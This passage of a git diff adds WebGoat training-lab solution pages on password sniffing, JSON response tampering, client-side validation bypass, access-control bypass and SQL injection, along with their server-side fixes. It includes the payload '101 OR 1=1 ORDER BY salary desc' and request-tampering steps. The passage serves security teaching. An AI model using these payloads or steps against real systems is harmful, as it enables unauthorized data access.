This lesson has two stages. In the first stage you try to sniff a password
+which is sent in plaintext. In the second stage you try the same
+but on a secure connection.
+
You need a client server setup for this lesson. Please refer
+to the Tomcat Setup in the Introduction section.
+
+Stage 1
+
Start a sniffer. If you do not have one we recommend wireshark, which
+is free: Wireshark. Make sure
+you are capturing on the right interface. Click on
+the submit button ans stop the capturing. Now analyze the captured data.
+
+
+ Figure 1: Sniffed Traffic
+
+
As you can see we are interested in the HTTP Post request as
+the password is transmitted there. The field for the password has
+the name clear_pass and has as value sniffy. Of course
+this is also the correct answer and you are done with stage 1.
+
+Stage 2
+
+Now you have to switch to a secure connection. You archive this
+by changing the URL from http://... to https://... Sniff again the traffic
+as you have done in stage 1. As you will see there is not sent the password
+in plaintext. The server communicates with the application over a secure layer
+the so called Transport Layer Security (TLS) also called Secure Socket Layer (SSL).
+TLS is a hybrid encrypting protocol. A master secret is built to communicate.
+This master secret is built by using SHA-1 and MD5. All traffic between
+the Server and the Cleint is encrypted.
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png b/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png
new file mode 100644
index 000000000..135fc3606
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection.html
new file mode 100644
index 000000000..a78a84d25
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection.html
@@ -0,0 +1,806 @@
+
+
+
+
+
+
+
+Solution: JSON Injection
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Perform JSON Injection
+
+
+
+
Concept /
+Topic To Teach:
+
+
This lesson
+teaches how to perform JSON Injection Attacks.
+
+
+
+
How the
+attacks works:
+
+
JavaScript Object
+Notation (JSON) is a simple and effective lightweight data exchange format.
+JSON can be in a lot of forms such as arrays, lists, hashtables and other data
+structures. JSON is widely used in AJAX and Web2.0 application and is favored
+by programmers over XML because of its ease of use and speed. However, JSON,
+like XML is prone to Injection attacks. A malicious attacker can inject the
+reply from the server and inject some arbitrary values in there.
+
+
+
+
General
+Goal(s):
+
+
You
+are traveling from Boston, MA- Airport code BOS to Seattle, WA - Airport code
+SEA.
+Once you enter the three digit code of the airport, an AJAX request will be
+executed asking for the ticket price.
+You will notice that there are two flights available, an expensive one with no
+stops and another cheaper one with 2 stops.
+Your goal is to try to get the one with no stops but for a cheaper price.
+
+
+
+
+
+
Figure 1 AJAX Security - JSON Injection
+
+
+
+
Solution:
+
+
Like with the previous lessons you need to manipulate the HTTP Response
+using WebScarab.
+
+
+
+
Examine the normal flow by entering the airport code BOS and SEA and
+intercept the HTTP Request and the HTTP Response in WebScarab.
+
+
+
+
+
+
Figure 2 Intercept HTTP Request
+
+
+
+
+
+
Figure 3 Intercept HTTP Response
+
+
+
+
Change the
+price for the expensive flight of $600 to $100 and click "Accept changes".
+
+
+
+
+
+
+
+
Figure 4 Updated price
+
+
+
+
+
+
Figure 5 Injected result
+
+
+
+
Select the flight
+with no stops and the updated price and click "Submit".
+
+
+
+
+
+
Figure 6 Lesson completed
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml
new file mode 100644
index 000000000..3f7752feb
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml
@@ -0,0 +1,18 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png
new file mode 100644
index 000000000..cfdb7b042
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png
new file mode 100644
index 000000000..217f69bd7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png
new file mode 100644
index 000000000..affeaa193
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png
new file mode 100644
index 000000000..709f70b6a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png
new file mode 100644
index 000000000..b7d120e45
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png
new file mode 100644
index 000000000..3d93d05e5
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg
new file mode 100644
index 000000000..21504eb14
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg
new file mode 100644
index 000000000..cf6cc7471
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image014.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg
new file mode 100644
index 000000000..ccd96c071
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg
new file mode 100644
index 000000000..3710a91c1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image016.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg
new file mode 100644
index 000000000..fecffb54d
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg
new file mode 100644
index 000000000..f4edbeeb7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/image018.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JSONInjection_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation.html b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation.html
new file mode 100644
index 000000000..b46f2e402
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation.html
@@ -0,0 +1,841 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Lesson
+Plan Title: How to
+Bypass Client Side JavaScript Validation
+
+
+
+
Concept /
+Topic To Teach:
+
+
Client-side validation
+should not be considered a secure means of validating parameters. This
+validation only helps reducing the amount of server processing time for normal
+users who do not know the format of required input. Attackers can bypass these
+mechanisms easily in various ways. Any client-side validation should be
+duplicated on the server side. This will greatly reduce the likelihood of
+insecure parameter values being used in the application.
+
+
+
+
General
+Goal(s):
+
+
For this
+exercise, the web site requires that you follow certain rules when you fill out
+a form. The user should be able to break those rules, and send the website
+input that it wasn't expecting.
+
+
+
+
+
+
Figure 1 Lesson 6
+
+
+
+
There are two
+ways to complete this lesson. The first one is to submit a valid request like
+the one from the screenshot above and intercept this using WebScarab. The
+second way is to intercept the HTTP Response when loading the page and remove
+the Javascript that validates the values.
+
+
+
+
Solution 1
+
+
+
+
+
+
Figure 2 Intercept request
+
+
+
+
Add different
+symbols to the fields and click "Accept changes".
+
+
+
+
+
+
Figure 3 Change parameters
+
+
+
+
+
+
Figure 4 Lesson 6 Completed
+
+
+
+
Solution 2
+
+
+
+
Reload the
+page by clicking on the menu item "How to bypass Client-Side Javascript
+Validation" and intercept the response in WebScarab.
+
+
+
+
+
+
Figure 5 Enable "Intercept responses"
+
+
+
+
+
+
Figure 6 Intercepted response
+
+
+
+
If you remove
+the onclick="validate();" the "Submit" button will not work anymore.
+
+
Locate the
+validate() Javascript function in the HTML page.
+
+
+
+
+
+
Figure 7 The function validate()
+
+
+
+
Removing the regular
+expressions will remove the Javascript validation and submit the form.
+
+
+
+
+
+
Figure 8 Changed validate() function
+
+
+
+
Click "Accept
+changes". This returns a HTML page like before but without any regular
+expression checks.
+
+
+
+
+
+
Figure 9 It looks the same
+
+
+
+
Change the
+fields in the HTML page to contain symbols like @#@@# and click "Submit".
+
+
+
+
+
+
Figure 10 No more regular expression checks
+
+
+
+
+
+
Figure 11 Lesson 6 Completed
+
+
+
+
+
+
+
+
+
+
+
+
+ Solution by Erwin Geirnaert
+
+
+
+
+
+
+
+
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml
new file mode 100644
index 000000000..b200daa38
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/colorschememapping.xml
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml
new file mode 100644
index 000000000..aa9eb0b16
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/filelist.xml
@@ -0,0 +1,29 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png
new file mode 100644
index 000000000..bb24a6c8f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image001.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg
new file mode 100644
index 000000000..ac600b733
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image002.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png
new file mode 100644
index 000000000..20f3f3871
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image003.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg
new file mode 100644
index 000000000..0ffa3bfe7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image004.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png
new file mode 100644
index 000000000..a189bb3d8
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image005.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg
new file mode 100644
index 000000000..2e361f07f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image006.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png
new file mode 100644
index 000000000..2e74b5ec7
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image007.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg
new file mode 100644
index 000000000..34cf88ebb
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image008.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif
new file mode 100644
index 000000000..1779f251e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image009.gif differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png
new file mode 100644
index 000000000..88661381a
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image010.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg
new file mode 100644
index 000000000..ab68d0731
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image011.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png
new file mode 100644
index 000000000..4d3ab3e2f
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image012.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg
new file mode 100644
index 000000000..3ba19dd7e
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image013.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png
new file mode 100644
index 000000000..90ea086b2
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image014.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg
new file mode 100644
index 000000000..47033c76c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image015.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png
new file mode 100644
index 000000000..36393c423
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image016.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg
new file mode 100644
index 000000000..02087fd18
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image017.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png
new file mode 100644
index 000000000..6fa005b7c
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image018.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg
new file mode 100644
index 000000000..fa77e0a36
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image019.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png
new file mode 100644
index 000000000..43737e5d1
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image020.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg
new file mode 100644
index 000000000..9cde03d4b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image021.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png
new file mode 100644
index 000000000..24ef81f2b
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image022.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg
new file mode 100644
index 000000000..8fbe215fd
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/image023.jpg differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx
new file mode 100644
index 000000000..55426d8ec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/JavaScriptValidation_files/themedata.thmx differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Business Layer Access Control.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Business Layer Access Control.html
new file mode 100644
index 000000000..18aa18be9
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Business Layer Access Control.html
@@ -0,0 +1,50 @@
+
+
+
+
+Solution Lab Role Based Access Control Stage2
+
+
+
+
Lesson Plan Title: Role Based Access Control: Stage 2
+
+
Concept / Topic To Teach:
+In role-based access control scheme, a role represents
+a set of access permissions and privileges. A user can be
+assigned one or more roles. A role-based access control
+normally consists of two parts: role permission management
+and role assignment. A broken role-based access
+control scheme might allow a user to perform accesses
+that are not allowed by his/her assigned roles, or
+somehow obtain unauthorized roles.
+
+
+
General Goal(s):
+Your goal is to explore the access control
+rules that govern this site. Each role has permission to
+certain resources (A-F). Each user is assigned one or more roles.
+Only the user with the [Admin] role should have access
+to the 'F' resources. In a successful attack, a user doesn't
+have the [Admin] role can access resource F.
+
+
+
+Solution:
+You have to be sure that the user is AUTHORIZED to do an action! So you have to check for his authorization.
+You have to write some code in the class
+org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java.
+Alter the handleRequest method as there is happening the dispatching.
+There is already a method called isAuthorized which you can use:
+
+Try the attack again and you will see that the authorization fails and the
+lesson is completed.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Data Layer Access Control.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Data Layer Access Control.html
new file mode 100644
index 000000000..f6ab88361
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Add Data Layer Access Control.html
@@ -0,0 +1,56 @@
+
+
+
+
+Solution Lab Role Based Access Control Stage4
+
+
+
+
Lesson Plan Title: Role Based Access Control: Stage 4
+
+
Concept / Topic To Teach:
+In role-based access control scheme, a role represents
+a set of access permissions and privileges. A user can be
+assigned one or more roles. A role-based access control
+normally consists of two parts: role permission management
+and role assignment. A broken role-based access
+control scheme might allow a user to perform accesses
+that are not allowed by his/her assigned roles, or
+somehow obtain unauthorized roles.
+
+
+
General Goal(s):
+Your goal is to explore the access control
+rules that govern this site. Each role has permission to
+certain resources (A-F). Each user is assigned one or more roles.
+Only the user with the [Admin] role should have access
+to the 'F' resources. In a successful attack, a user doesn't
+have the [Admin] role can access resource F.
+
+
+
+Solution:
+You have to be sure that the user is AUTHORIZED to do an action and that
+he is authorized to do this action on a certain employee! So you have to check for his authorization.
+You have to write some code in the class
+org.owasp.webgoat.lessons.RoleBasedAccesControl.RoleBasedAccessControl.java.
+Alter the handleRequest method as there is happening the dispatching.
+Action has already a method called isAuthorizedForEmployee which you can use:
+
+Try the attack again and you will see that the authorization fails and the
+lesson is completed.
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Business Layer Access Control.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Business Layer Access Control.html
new file mode 100644
index 000000000..004e26185
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Business Layer Access Control.html
@@ -0,0 +1,48 @@
+
+
+
+
+Solution Lab Role Based Access Control Stage1
+
+
+
+
Lesson Plan Title: Role Based Access Control: Stage 1
+
+
Concept / Topic To Teach:
+In role-based access control scheme, a role represents
+a set of access permissions and privileges. A user can be
+assigned one or more roles. A role-based access control
+normally consists of two parts: role permission management
+and role assignment. A broken role-based access
+control scheme might allow a user to perform accesses
+that are not allowed by his/her assigned roles, or
+somehow obtain unauthorized roles.
+
+
+
General Goal(s):
+Your goal is to explore the access control
+rules that govern this site. Each role has permission to
+certain resources (A-F). Each user is assigned one or more roles.
+Only the user with the [Admin] role should have access
+to the 'F' resources. In a successful attack, a user doesn't
+have the [Admin] role can access resource F.
+
+
+
+Solution:
+To solve this exercise you have to know the name of the action, which
+deletes employees. Of course you could just guess
+it because it has a really logical name.
+But we will look it up. So your first step is to log in as John with john as
+password. Use WebScarab to intercept the delete request.
+
+
+
+As you can see the delete action is called DeleteProfile.
+Now log in as Tom. Click in the list on his name and make sure WebScarab
+will intercept the next request. Click on a button, for example the
+'ViewProfile' button. Change in WebScarab the action to DeleteProfile
+and you are done!
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Data Layer Access Control.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Data Layer Access Control.html
new file mode 100644
index 000000000..e94e42c45
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/Lab Bypass Data Layer Access Control.html
@@ -0,0 +1,46 @@
+
+
+
+
+Solution Lab Role Based Access Control Stage3
+
+
+
+
Lesson Plan Title: Role Based Access Control: Stage 3
+
+
Concept / Topic To Teach:
+In role-based access control scheme, a role represents
+a set of access permissions and privileges. A user can be
+assigned one or more roles. A role-based access control
+normally consists of two parts: role permission management
+and role assignment. A broken role-based access
+control scheme might allow a user to perform accesses
+that are not allowed by his/her assigned roles, or
+somehow obtain unauthorized roles.
+
+
+
General Goal(s):
+Your goal is to explore the access control
+rules that govern this site. Each role has permission to
+certain resources (A-F). Each user is assigned one or more roles.
+Only the user with the [Admin] role should have access
+to the 'F' resources. In a successful attack, a user doesn't
+have the [Admin] role can access resource F.
+
+
+
+Solution:
+In stage 1 we tried to use an action we are not authorised to use.
+In this stage we want to view a profile of an other person. We have the permission
+for the action ViewProfile but we should not have the permission to see a profile
+of another employee!
+
+
+Log in as Tom with tom as password. Click on Tom's name in the list and make sure
+webscarab will intercept the next request. Change the employee_id for example to 101.
+
+
+
+
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage1.png b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage1.png
new file mode 100644
index 000000000..a56105599
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage1.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage3.png b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage3.png
new file mode 100644
index 000000000..cfb490dec
Binary files /dev/null and b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab Access Control/images/access_control_stage3.png differ
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Numeric SQL Injection.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Numeric SQL Injection.html
new file mode 100644
index 000000000..3920f2aea
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Numeric SQL Injection.html
@@ -0,0 +1,41 @@
+
+
+
+
+Solution Lab SQL Injection Stage3
+
+
+
+
Lesson Plan Title: How to Perform a SQLInjection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven
+site. The methods behind an attack are easy to learn and the damage
+caused can range from considerable to complete system compromise.
+Despite these risks, an incredible number of systems on the internet are
+susceptible to this form of attack.
+
+
Not only is it a threat easily instigated, it is also a threat
+that, with a little common-sense and forethought, can easily be
+prevented.
+
+
It is always good practice to sanitize all input data, especially
+data that will used in OS command, scripts, and database queiries, even
+if the threat of SQL injection has been prevented in some other manner.
+
+
+
General Goal(s):
+For this exercise, you will perform SQLInjection attacks. You will also
+implement code changes in the web application to defeat these attacks.
+
+
Solution:
+Choose Larry to log in with password larry. Select yourself from the list
+and make sure that WebScarab will intercept the next request. Replace the id 101 with following:
+
+101 OR 1=1 ORDER BY salary desc
+
With '101 OR 1=1' we have a SQL Statement which is always true. It will
+get all the employees from the db but only return one of them. That is why we have to ensure we get
+the "Big Fish" which is the employee earning most. With 'ORDER BY SALARY DESC' we guarantee exactly this.
+
+
\ No newline at end of file
diff --git a/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #1.html b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #1.html
new file mode 100644
index 000000000..e09478565
--- /dev/null
+++ b/webgoat-5.4/src/main/webapp/lesson_solutions/Lab SQL Injection/Lab Parameterized Query #1.html
@@ -0,0 +1,87 @@
+
+
+
+
+Solution Lab SQL Injection Stage2
+
+
+
+
Lesson Plan Title: How to Perform a SQLInjection
+
+
Concept / Topic To Teach:
+SQL injection attacks represent a serious threat to any database-driven
+site. The methods behind an attack are easy to learn and the damage
+caused can range from considerable to complete system compromise.
+Despite these risks, an incredible number of systems on the internet are
+susceptible to this form of attack.
+
+
Not only is it a threat easily instigated, it is also a threat
+that, with a little common-sense and forethought, can easily be
+prevented.
+
+
It is always good practice to sanitize all input data, especially
+data that will used in OS command, scripts, and database queiries, even
+if the threat of SQL injection has been prevented in some other manner.
+
+
+
General Goal(s):
+For this exercise, you will perform SQLInjection attacks. You will also
+implement code changes in the web application to defeat these attacks.
+
+Solution:
+To prevent a SQLInjection you can use "Parametreized Queries". This kind of
+query makes it possible to use every input of an user as a parameter.
+In this lesson you have to change org.owasp.webgoat.lessons.SQLInjection.Login.java
+The query execution in the method login looks like this:
+To paramerize the Query you have to replace the userinput with questionmarks:
+String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
+
+
+Now follows the try block with the getConnection method:
+
+try
+{
+ Connection connection = WebSession.getConnections(s);
+
+
+The next step is to do a so called "PrepareStatement":
